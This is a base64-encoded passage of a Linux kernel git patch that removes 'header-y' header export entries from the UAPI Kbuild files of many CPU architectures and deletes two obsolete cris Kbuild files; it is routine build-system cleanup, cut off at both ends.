ZmYgLS1naXQgYS9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvYXJjL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IGY1MGQwMmRmNzhkNS4uYjE1YmY2YmMwZTk0IDEw
MDY0NAotLS0gYS9hcmNoL2FyYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAorKysgYi9hcmNoL2Fy
Yy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMSw1ICsxLDIgQEAKICMgVUFQSSBIZWFkZXIg
ZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc20K
LWhlYWRlci15ICs9IGVsZi5oCi1oZWFkZXIteSArPSBwYWdlLmgKLWhlYWRlci15ICs9IGNhY2hl
Y3RsLmgKZGlmZiAtLWdpdCBhL2FyY2gvYXJtL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkIGIvYXJj
aC9hcm0vaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggNDZhNzZjZDZhY2I2Li42MDdmNzAy
YzJkNjIgMTAwNjQ0Ci0tLSBhL2FyY2gvYXJtL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBi
L2FyY2gvYXJtL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDIzICsxLDYgQEAKICMgVUFQ
SSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0ti
dWlsZC5hc20KIAotaGVhZGVyLXkgKz0gYXV4dmVjLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5o
Ci1oZWFkZXIteSArPSBmY250bC5oCi1oZWFkZXIteSArPSBod2NhcC5oCi1oZWFkZXIteSArPSBp
b2N0bHMuaAotaGVhZGVyLXkgKz0ga3ZtX3BhcmEuaAotaGVhZGVyLXkgKz0gbW1hbi5oCi1oZWFk
ZXIteSArPSBwZXJmX3JlZ3MuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXMuaAotaGVhZGVyLXkg
Kz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9IHNpZ2NvbnRleHQu
aAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhlYWRlci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0g
c3RhdGZzLmgKLWhlYWRlci15ICs9IHN3YWIuaAotaGVhZGVyLXkgKz0gdW5pc3RkLmgKIGdlbmhk
ci15ICs9IHVuaXN0ZC1jb21tb24uaAogZ2VuaGRyLXkgKz0gdW5pc3RkLW9hYmkuaAogZ2VuaGRy
LXkgKz0gdW5pc3RkLWVhYmkuaApkaWZmIC0tZ2l0IGEvYXJjaC9hcm02NC9pbmNsdWRlL3VhcGkv
YXNtL0tidWlsZCBiL2FyY2gvYXJtNjQvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggODI1
YjBmZTUxYzJiLi4xM2E5N2FhMjI4NWYgMTAwNjQ0Ci0tLSBhL2FyY2gvYXJtNjQvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9hcm02NC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApA
QCAtMiwyMSArMiwzIEBACiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9LYnVpbGQu
YXNtCiAKIGdlbmVyaWMteSArPSBrdm1fcGFyYS5oCi0KLWhlYWRlci15ICs9IGF1eHZlYy5oCi1o
ZWFkZXIteSArPSBiaXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVhZGVy
LXkgKz0gZmNudGwuaAotaGVhZGVyLXkgKz0gaHdjYXAuaAotaGVhZGVyLXkgKz0ga3ZtX3BhcmEu
aAotaGVhZGVyLXkgKz0gcGVyZl9yZWdzLmgKLWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15
ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSBzZXR1cC5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0
LmgKLWhlYWRlci15ICs9IHNpZ2luZm8uaAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhlYWRlci15
ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhlYWRlci15ICs9IHVjb250ZXh0LmgK
LWhlYWRlci15ICs9IHVuaXN0ZC5oCmRpZmYgLS1naXQgYS9hcmNoL2F2cjMyL2luY2x1ZGUvdWFw
aS9hc20vS2J1aWxkIGIvYXJjaC9hdnIzMi9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAppbmRleCAw
OGQ4YTNkNzZlYTguLjYxMDM5NTA4MzM2NCAxMDA2NDQKLS0tIGEvYXJjaC9hdnIzMi9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZAorKysgYi9hcmNoL2F2cjMyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxk
CkBAIC0xLDI2ICsxLDYgQEAKICMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5j
bHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc20KIAotaGVhZGVyLXkgKz0gYXV4dmVjLmgK
LWhlYWRlci15ICs9IGJ5dGVvcmRlci5oCi1oZWFkZXIteSArPSBjYWNoZWN0bC5oCi1oZWFkZXIt
eSArPSBtc2didWYuaAotaGVhZGVyLXkgKz0gcGFyYW0uaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlw
ZXMuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIt
eSArPSBzZXR1cC5oCi1oZWFkZXIteSArPSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4
dC5oCi1oZWFkZXIteSArPSBzaWduYWwuaAotaGVhZGVyLXkgKz0gc29ja2V0LmgKLWhlYWRlci15
ICs9IHNvY2tpb3MuaAotaGVhZGVyLXkgKz0gc3RhdC5oCi1oZWFkZXIteSArPSBzd2FiLmgKLWhl
YWRlci15ICs9IHRlcm1iaXRzLmgKLWhlYWRlci15ICs9IHRlcm1pb3MuaAotaGVhZGVyLXkgKz0g
dHlwZXMuaAotaGVhZGVyLXkgKz0gdW5pc3RkLmgKIGdlbmVyaWMteSArPSBiaXRzcGVybG9uZy5o
CiBnZW5lcmljLXkgKz0gZXJybm8uaAogZ2VuZXJpYy15ICs9IGZjbnRsLmgKZGlmZiAtLWdpdCBh
L2FyY2gvYmxhY2tmaW4vaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL2JsYWNrZmluL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDBiZDI4Zjc3YWJjMy4uYjE1YmY2YmMwZTk0IDEw
MDY0NAotLS0gYS9hcmNoL2JsYWNrZmluL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCisrKyBiL2Fy
Y2gvYmxhY2tmaW4vaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTEsMTkgKzEsMiBAQAogIyBV
QVBJIEhlYWRlciBleHBvcnQgbGlzdAogaW5jbHVkZSBpbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMv
S2J1aWxkLmFzbQotCi1oZWFkZXIteSArPSBiZmluX3Nwb3J0LmgKLWhlYWRlci15ICs9IGJ5dGVv
cmRlci5oCi1oZWFkZXIteSArPSBjYWNoZWN0bC5oCi1oZWFkZXIteSArPSBmY250bC5oCi1oZWFk
ZXIteSArPSBmaXhlZF9jb2RlLmgKLWhlYWRlci15ICs9IGlvY3Rscy5oCi1oZWFkZXIteSArPSBr
dm1fcGFyYS5oCi1oZWFkZXIteSArPSBwb2xsLmgKLWhlYWRlci15ICs9IHBvc2l4X3R5cGVzLmgK
LWhlYWRlci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15
ICs9IHNpZ2luZm8uaAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhlYWRlci15ICs9IHN0YXQuaAot
aGVhZGVyLXkgKz0gc3dhYi5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0tZ2l0IGEvYXJj
aC9jNngvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgYi9hcmNoL2M2eC9pbmNsdWRlL3VhcGkvYXNt
L0tidWlsZAppbmRleCBlOWJjMmIyYjgxNDcuLjEzYTk3YWEyMjg1ZiAxMDA2NDQKLS0tIGEvYXJj
aC9jNngvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9jNngvaW5jbHVkZS91YXBp
L2FzbS9LYnVpbGQKQEAgLTIsMTEgKzIsMyBAQAogaW5jbHVkZSBpbmNsdWRlL3VhcGkvYXNtLWdl
bmVyaWMvS2J1aWxkLmFzbQogCiBnZW5lcmljLXkgKz0ga3ZtX3BhcmEuaAotCi1oZWFkZXIteSAr
PSBieXRlb3JkZXIuaAotaGVhZGVyLXkgKz0ga3ZtX3BhcmEuaAotaGVhZGVyLXkgKz0gcHRyYWNl
LmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9IHNpZ2NvbnRleHQuaAotaGVhZGVy
LXkgKz0gc3dhYi5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0tZ2l0IGEvYXJjaC9jcmlz
L2luY2x1ZGUvdWFwaS9hcmNoLXYxMC9hcmNoL0tidWlsZCBiL2FyY2gvY3Jpcy9pbmNsdWRlL3Vh
cGkvYXJjaC12MTAvYXJjaC9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDkw
NDhjODdhNzgyYi4uMDAwMDAwMDAwMDAwCi0tLSBhL2FyY2gvY3Jpcy9pbmNsdWRlL3VhcGkvYXJj
aC12MTAvYXJjaC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSw1ICswLDAgQEAKLSMgVUFQSSBI
ZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IHN2X2FkZHIuYWdoCi1oZWFkZXIteSArPSBz
dl9hZGRyX2FnLmgKLWhlYWRlci15ICs9IHN2aW50by5oCi1oZWFkZXIteSArPSB1c2VyLmgKZGlm
ZiAtLWdpdCBhL2FyY2gvY3Jpcy9pbmNsdWRlL3VhcGkvYXJjaC12MzIvYXJjaC9LYnVpbGQgYi9h
cmNoL2NyaXMvaW5jbHVkZS91YXBpL2FyY2gtdjMyL2FyY2gvS2J1aWxkCmRlbGV0ZWQgZmlsZSBt
b2RlIDEwMDY0NAppbmRleCA1OWVmZmZkMTZiNjEuLjAwMDAwMDAwMDAwMAotLS0gYS9hcmNoL2Ny
aXMvaW5jbHVkZS91YXBpL2FyY2gtdjMyL2FyY2gvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEs
MyArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBjcnlwdG9j
b3AuaAotaGVhZGVyLXkgKz0gdXNlci5oCmRpZmYgLS1naXQgYS9hcmNoL2NyaXMvaW5jbHVkZS91
YXBpL2FzbS9LYnVpbGQgYi9hcmNoL2NyaXMvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXgg
ZDU1NjRhMGFlNjZhLi5kMGM1NDcxODU2ZTAgMTAwNjQ0Ci0tLSBhL2FyY2gvY3Jpcy9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZAorKysgYi9hcmNoL2NyaXMvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQK
QEAgLTEsNDQgKzEsNSBAQAogIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAogaW5jbHVkZSBpbmNs
dWRlL3VhcGkvYXNtLWdlbmVyaWMvS2J1aWxkLmFzbQogCi1oZWFkZXIteSArPSAuLi9hcmNoLXYx
MC9hcmNoLwotaGVhZGVyLXkgKz0gLi4vYXJjaC12MzIvYXJjaC8KLWhlYWRlci15ICs9IGF1eHZl
Yy5oCi1oZWFkZXIteSArPSBiaXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAot
aGVhZGVyLXkgKz0gZWxmLmgKLWhlYWRlci15ICs9IGVsZl92MTAuaAotaGVhZGVyLXkgKz0gZWxm
X3YzMi5oCi1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIteSArPSBldGhlcm5ldC5oCi1oZWFk
ZXIteSArPSBldHJheGdwaW8uaAotaGVhZGVyLXkgKz0gZmNudGwuaAotaGVhZGVyLXkgKz0gaW9j
dGwuaAotaGVhZGVyLXkgKz0gaW9jdGxzLmgKLWhlYWRlci15ICs9IGlwY2J1Zi5oCi1oZWFkZXIt
eSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1zZ2J1Zi5oCi1oZWFkZXIteSArPSBwYXJhbS5oCi1o
ZWFkZXIteSArPSBwb2xsLmgKLWhlYWRlci15ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRlci15ICs9
IHB0cmFjZS5oCi1oZWFkZXIteSArPSBwdHJhY2VfdjEwLmgKLWhlYWRlci15ICs9IHB0cmFjZV92
MzIuaAotaGVhZGVyLXkgKz0gcmVzb3VyY2UuaAotaGVhZGVyLXkgKz0gcnM0ODUuaAotaGVhZGVy
LXkgKz0gc2VtYnVmLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9IHNobWJ1Zi5o
Ci1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHNpZ2luZm8uaAotaGVhZGVy
LXkgKz0gc2lnbmFsLmgKLWhlYWRlci15ICs9IHNvY2tldC5oCi1oZWFkZXIteSArPSBzb2NraW9z
LmgKLWhlYWRlci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhlYWRlci15ICs9
IHN3YWIuaAotaGVhZGVyLXkgKz0gc3luY19zZXJpYWwuaAotaGVhZGVyLXkgKz0gdGVybWJpdHMu
aAotaGVhZGVyLXkgKz0gdGVybWlvcy5oCi1oZWFkZXIteSArPSB0eXBlcy5oCi1oZWFkZXIteSAr
PSB1bmlzdGQuaAorc3ViZGlyLXkgKz0gLi4vYXJjaC12MTAvYXJjaC8KK3N1YmRpci15ICs9IC4u
L2FyY2gtdjMyL2FyY2gvCmRpZmYgLS1naXQgYS9hcmNoL2Zydi9pbmNsdWRlL3VhcGkvYXNtL0ti
dWlsZCBiL2FyY2gvZnJ2L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDQyYTJiMzM0NjFj
MC4uYjE1YmY2YmMwZTk0IDEwMDY0NAotLS0gYS9hcmNoL2Zydi9pbmNsdWRlL3VhcGkvYXNtL0ti
dWlsZAorKysgYi9hcmNoL2Zydi9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMSwzNSArMSwy
IEBACiAjIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20t
Z2VuZXJpYy9LYnVpbGQuYXNtCi0KLWhlYWRlci15ICs9IGF1eHZlYy5oCi1oZWFkZXIteSArPSBi
aXRzcGVybG9uZy5oCi1oZWFkZXIteSArPSBieXRlb3JkZXIuaAotaGVhZGVyLXkgKz0gZXJybm8u
aAotaGVhZGVyLXkgKz0gZmNudGwuaAotaGVhZGVyLXkgKz0gaW9jdGwuaAotaGVhZGVyLXkgKz0g
aW9jdGxzLmgKLWhlYWRlci15ICs9IGlwY2J1Zi5oCi1oZWFkZXIteSArPSBrdm1fcGFyYS5oCi1o
ZWFkZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1zZ2J1Zi5oCi1oZWFkZXIteSArPSBwYXJh
bS5oCi1oZWFkZXIteSArPSBwb2xsLmgKLWhlYWRlci15ICs9IHBvc2l4X3R5cGVzLmgKLWhlYWRl
ci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSByZWdpc3RlcnMuaAotaGVhZGVyLXkgKz0gcmVz
b3VyY2UuaAotaGVhZGVyLXkgKz0gc2VtYnVmLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRl
ci15ICs9IHNobWJ1Zi5oCi1oZWFkZXIteSArPSBzaWdjb250ZXh0LmgKLWhlYWRlci15ICs9IHNp
Z2luZm8uaAotaGVhZGVyLXkgKz0gc2lnbmFsLmgKLWhlYWRlci15ICs9IHNvY2tldC5oCi1oZWFk
ZXIteSArPSBzb2NraW9zLmgKLWhlYWRlci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZz
LmgKLWhlYWRlci15ICs9IHN3YWIuaAotaGVhZGVyLXkgKz0gdGVybWJpdHMuaAotaGVhZGVyLXkg
Kz0gdGVybWlvcy5oCi1oZWFkZXIteSArPSB0eXBlcy5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApk
aWZmIC0tZ2l0IGEvYXJjaC9oODMwMC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBiL2FyY2gvaDgz
MDAvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggZmI2MTAxYTVkNGYxLi5iMTViZjZiYzBl
OTQgMTAwNjQ0Ci0tLSBhL2FyY2gvaDgzMDAvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKKysrIGIv
YXJjaC9oODMwMC9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtMSwzMCArMSwyIEBACiAjIFVB
UEkgSGVhZGVyIGV4cG9ydCBsaXN0CiBpbmNsdWRlIGluY2x1ZGUvdWFwaS9hc20tZ2VuZXJpYy9L
YnVpbGQuYXNtCi0KLWhlYWRlci15ICs9IGF1eHZlYy5oCi1oZWFkZXIteSArPSBiaXRzcGVybG9u
Zy5oCi1oZWFkZXIteSArPSBlcnJuby5oCi1oZWFkZXIteSArPSBmY250bC5oCi1oZWFkZXIteSAr
PSBpb2N0bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gaXBjYnVmLmgKLWhl
YWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVhZGVyLXkgKz0gbXNn
YnVmLmgKLWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkg
Kz0gcG9zaXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcmVzb3VyY2UuaAotaGVhZGVyLXkgKz0gc2Vt
YnVmLmgKLWhlYWRlci15ICs9IHNldHVwLmgKLWhlYWRlci15ICs9IHNobWJ1Zi5oCi1oZWFkZXIt
eSArPSBzaWdpbmZvLmgKLWhlYWRlci15ICs9IHNvY2tldC5oCi1oZWFkZXIteSArPSBzb2NraW9z
LmgKLWhlYWRlci15ICs9IHN0YXQuaAotaGVhZGVyLXkgKz0gc3RhdGZzLmgKLWhlYWRlci15ICs9
IHN3YWIuaAotaGVhZGVyLXkgKz0gdGVybWJpdHMuaAotaGVhZGVyLXkgKz0gdGVybWlvcy5oCi1o
ZWFkZXIteSArPSB0eXBlcy5oCi1oZWFkZXIteSArPSB1bmlzdGQuaApkaWZmIC0tZ2l0IGEvYXJj
aC9oZXhhZ29uL2luY2x1ZGUvYXNtL0tidWlsZCBiL2FyY2gvaGV4YWdvbi9pbmNsdWRlL2FzbS9L
YnVpbGQKaW5kZXggZGI4ZGRhYmM2YmQyLi5mM2IxY2ViNWMxZTQgMTAwNjQ0Ci0tLSBhL2FyY2gv
aGV4YWdvbi9pbmNsdWRlL2FzbS9LYnVpbGQKKysrIGIvYXJjaC9oZXhhZ29uL2luY2x1ZGUvYXNt
L0tidWlsZApAQCAtMSw2ICsxLDMgQEAKLQotaGVhZGVyLXkgKz0gdWNvbnRleHQuaAotCiBnZW5l
cmljLXkgKz0gYXV4dmVjLmgKIGdlbmVyaWMteSArPSBiYXJyaWVyLmgKIGdlbmVyaWMteSArPSBi
dWcuaApkaWZmIC0tZ2l0IGEvYXJjaC9oZXhhZ29uL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkIGIv
YXJjaC9oZXhhZ29uL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IGMzMTcwNmMzODYzMS4u
YjE1YmY2YmMwZTk0IDEwMDY0NAotLS0gYS9hcmNoL2hleGFnb24vaW5jbHVkZS91YXBpL2FzbS9L
YnVpbGQKKysrIGIvYXJjaC9oZXhhZ29uL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDE1
ICsxLDIgQEAKICMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBp
L2FzbS1nZW5lcmljL0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYml0c3BlcmxvbmcuaAotaGVh
ZGVyLXkgKz0gYnl0ZW9yZGVyLmgKLWhlYWRlci15ICs9IGt2bV9wYXJhLmgKLWhlYWRlci15ICs9
IHBhcmFtLmgKLWhlYWRlci15ICs9IHB0cmFjZS5oCi1oZWFkZXIteSArPSByZWdpc3RlcnMuaAot
aGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFkZXIteSAr
PSBzaWduYWwuaAotaGVhZGVyLXkgKz0gc3dhYi5oCi1oZWFkZXIteSArPSB1bmlzdGQuaAotaGVh
ZGVyLXkgKz0gdXNlci5oCmRpZmYgLS1naXQgYS9hcmNoL2lhNjQvaW5jbHVkZS91YXBpL2FzbS9L
YnVpbGQgYi9hcmNoL2lhNjQvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKaW5kZXggODkxMDAyYmJi
OTk1Li4xM2E5N2FhMjI4NWYgMTAwNjQ0Ci0tLSBhL2FyY2gvaWE2NC9pbmNsdWRlL3VhcGkvYXNt
L0tidWlsZAorKysgYi9hcmNoL2lhNjQvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQKQEAgLTIsNDgg
KzIsMyBAQAogaW5jbHVkZSBpbmNsdWRlL3VhcGkvYXNtLWdlbmVyaWMvS2J1aWxkLmFzbQogCiBn
ZW5lcmljLXkgKz0ga3ZtX3BhcmEuaAotCi1oZWFkZXIteSArPSBhdXh2ZWMuaAotaGVhZGVyLXkg
Kz0gYml0c3BlcmxvbmcuaAotaGVhZGVyLXkgKz0gYnJlYWsuaAotaGVhZGVyLXkgKz0gYnl0ZW9y
ZGVyLmgKLWhlYWRlci15ICs9IGNtcHhjaGcuaAotaGVhZGVyLXkgKz0gZXJybm8uaAotaGVhZGVy
LXkgKz0gZmNudGwuaAotaGVhZGVyLXkgKz0gZnB1LmgKLWhlYWRlci15ICs9IGdjY19pbnRyaW4u
aAotaGVhZGVyLXkgKz0gaWE2NHJlZ3MuaAotaGVhZGVyLXkgKz0gaW50ZWxfaW50cmluLmgKLWhl
YWRlci15ICs9IGludHJpbnNpY3MuaAotaGVhZGVyLXkgKz0gaW9jdGwuaAotaGVhZGVyLXkgKz0g
aW9jdGxzLmgKLWhlYWRlci15ICs9IGlwY2J1Zi5oCi1oZWFkZXIteSArPSBrdm1fcGFyYS5oCi1o
ZWFkZXIteSArPSBtbWFuLmgKLWhlYWRlci15ICs9IG1zZ2J1Zi5oCi1oZWFkZXIteSArPSBwYXJh
bS5oCi1oZWFkZXIteSArPSBwZXJmbW9uLmgKLWhlYWRlci15ICs9IHBlcmZtb25fZGVmYXVsdF9z
bXBsLmgKLWhlYWRlci15ICs9IHBvbGwuaAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXMuaAotaGVh
ZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRlci15ICs9IHB0cmFjZV9vZmZzZXRzLmgKLWhlYWRlci15
ICs9IHJlc291cmNlLmgKLWhlYWRlci15ICs9IHJzZS5oCi1oZWFkZXIteSArPSBzZW1idWYuaAot
aGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVyLXkgKz0gc2htYnVmLmgKLWhlYWRlci15ICs9IHNp
Z2NvbnRleHQuaAotaGVhZGVyLXkgKz0gc2lnaW5mby5oCi1oZWFkZXIteSArPSBzaWduYWwuaAot
aGVhZGVyLXkgKz0gc29ja2V0LmgKLWhlYWRlci15ICs9IHNvY2tpb3MuaAotaGVhZGVyLXkgKz0g
c3RhdC5oCi1oZWFkZXIteSArPSBzdGF0ZnMuaAotaGVhZGVyLXkgKz0gc3dhYi5oCi1oZWFkZXIt
eSArPSB0ZXJtYml0cy5oCi1oZWFkZXIteSArPSB0ZXJtaW9zLmgKLWhlYWRlci15ICs9IHR5cGVz
LmgKLWhlYWRlci15ICs9IHVjb250ZXh0LmgKLWhlYWRlci15ICs9IHVuaXN0ZC5oCi1oZWFkZXIt
eSArPSB1c3RhY2suaApkaWZmIC0tZ2l0IGEvYXJjaC9tMzJyL2luY2x1ZGUvdWFwaS9hc20vS2J1
aWxkIGIvYXJjaC9tMzJyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCmluZGV4IDQzOTM3YTYxZDZj
Zi4uYjE1YmY2YmMwZTk0IDEwMDY0NAotLS0gYS9hcmNoL20zMnIvaW5jbHVkZS91YXBpL2FzbS9L
YnVpbGQKKysrIGIvYXJjaC9tMzJyL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkCkBAIC0xLDMzICsx
LDIgQEAKICMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKIGluY2x1ZGUgaW5jbHVkZS91YXBpL2Fz
bS1nZW5lcmljL0tidWlsZC5hc20KLQotaGVhZGVyLXkgKz0gYXV4dmVjLmgKLWhlYWRlci15ICs9
IGJpdHNwZXJsb25nLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5oCi1oZWFkZXIteSArPSBlcnJu
by5oCi1oZWFkZXIteSArPSBmY250bC5oCi1oZWFkZXIteSArPSBpb2N0bC5oCi1oZWFkZXIteSAr
PSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gaXBjYnVmLmgKLWhlYWRlci15ICs9IG1tYW4uaAotaGVh
ZGVyLXkgKz0gbXNnYnVmLmgKLWhlYWRlci15ICs9IHBhcmFtLmgKLWhlYWRlci15ICs9IHBvbGwu
aAotaGVhZGVyLXkgKz0gcG9zaXhfdHlwZXMuaAotaGVhZGVyLXkgKz0gcHRyYWNlLmgKLWhlYWRl
ci15ICs9IHJlc291cmNlLmgKLWhlYWRlci15ICs9IHNlbWJ1Zi5oCi1oZWFkZXIteSArPSBzZXR1
cC5oCi1oZWFkZXIteSArPSBzaG1idWYuaAotaGVhZGVyLXkgKz0gc2lnY29udGV4dC5oCi1oZWFk
ZXIteSArPSBzaWdpbmZvLmgKLWhlYWRlci15ICs9IHNpZ25hbC5oCi1oZWFkZXIteSArPSBzb2Nr
ZXQuaAotaGVhZGVyLXkgKz0gc29ja2lvcy5oCi1oZWFkZXIteSArPSBzdGF0LmgKLWhlYWRlci15
ICs9IHN0YXRmcy5oCi1oZWFkZXIteSArPSBzd2FiLmgKLWhlYWRlci15ICs9IHRlcm1iaXRzLmgK
LWhlYWRlci15ICs9IHRlcm1pb3MuaAotaGVhZGVyLXkgKz0gdHlwZXMuaAotaGVhZGVyLXkgKz0g
dW5pc3RkLmgKZGlmZiAtLWdpdCBhL2FyY2gvbTY4ay9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCBi
L2FyY2gvbTY4ay9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZAppbmRleCA2YTJkMjU3YmRmYjIuLjY0
MzY4MDc3MjM1YSAxMDA2NDQKLS0tIGEvYXJjaC9tNjhrL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxk
CisrKyBiL2FyY2gvbTY4ay9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZApAQCAtOSwyNyArOSwzIEBA
IGdlbmVyaWMteSArPSBzb2NrZXQuaAogZ2VuZXJpYy15ICs9IHNvY2tpb3MuaAogZ2VuZXJpYy15
ICs9IHRlcm1iaXRzLmgKIGdlbmVyaWMteSArPSB0ZXJtaW9zLmgKLQotaGVhZGVyLXkgKz0gYS5v
dXQuaAotaGVhZGVyLXkgKz0gYm9vdGluZm8uaAotaGVhZGVyLXkgKz0gYm9vdGluZm8tYW1pZ2Eu
aAotaGVhZGVyLXkgKz0gYm9vdGluZm8tYXBvbGxvLmgKLWhlYWRlci15ICs9IGJvb3RpbmZvLWF0
YXJpLmgKLWhlYWRlci15ICs9IGJvb3RpbmZvLWhwMzAwLmgKLWhlYWRlci15ICs9IGJvb3RpbmZv
LW1hYy5oCi1oZWFkZXIteSArPSBib290aW5mby1xNDAuaAotaGVhZGVyLXkgKz0gYm9vdGluZm8t
dm1lLmgKLWhlYWRlci15ICs9IGJ5dGVvcmRlci5oCi1oZWFkZXIteSArPSBjYWNoZWN0bC5oCi1o
ZWFkZXIteSArPSBmY250bC5oCi1oZWFkZXIteSArPSBpb2N0bHMuaAotaGVhZGVyLXkgKz0gcGFy
YW0uaAotaGVhZGVyLXkgKz0gcG9sbC5oCi1oZWFkZXIteSArPSBwb3NpeF90eXBlcy5oCi1oZWFk
ZXIteSArPSBwdHJhY2UuaAotaGVhZGVyLXkgKz0gc2V0dXAuaAotaGVhZGVyLXkgKz0gc2lnY29u
